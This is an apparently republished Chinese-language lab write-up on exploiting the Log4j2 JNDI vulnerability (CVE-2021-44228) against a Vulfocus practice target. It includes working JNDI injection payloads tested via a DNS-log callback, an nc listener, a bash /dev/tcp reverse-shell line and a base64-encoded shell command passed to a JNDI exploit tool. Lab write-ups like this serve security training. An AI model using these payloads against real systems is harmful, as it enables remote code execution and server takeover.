CVE-2021-44228
- 漏洞描述
- 漏洞評級
- 影響范圍
- Vuofocus
- Dnslog出網測驗
- JNDI注入反彈shell
漏洞描述

Apache Log4j2 是 Apache 軟體基金會下的一個開源的基于 Java 的日志記錄工具,Log4j2 是一個 Log4j 1.x 的 重寫,并且引入了大量豐富的特
性,該日志框架被大量用于業務系統開發,用來記錄日志資訊,由于其優異的性能 而被廣泛的應用于各種常見的 Web 服務中,
漏洞評級
Apache Log4j 遠程代碼執行漏洞 :嚴重

影響范圍
https://fofa.so/static_pages/log4j2


Apache log4j2 2.* <= Apache log4j2 2.15.1.rc1
主流相關產品
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Vuofocus
http://vulfocus.fofa.so/

啟動靶場


Dnslog出網測驗
http://www.dnslog.cn/
payload GET方式提交

payload
payload=${jndi:ldap://X.X.X.X/exp}
payload=${jndi:ldap://5e0s0v.dnslog.cn/exp}
用payload打的時候發現服務器回傳404
原因是因為GET資料傳輸要URL編碼


URL編碼后提交正常

DNSlog成功回顯

JNDI注入反彈shell
JNDI
https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md
VPS監聽埠
nc -lvp 7777

JNDI注入

替換JNDI中對應的payload


反彈shell
bash -i >& /dev/tcp/ip/port 0>&1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcCUuMjQuOTUuMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A [vps ip]
反彈shell命令進行了base64編碼
https://www.jackson-t.ca/runtime-exec-payloads.html

反彈shell成功拿到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/404070.html
標籤:其他
上一篇:ce游戲逆向修改之植物大戰僵尸
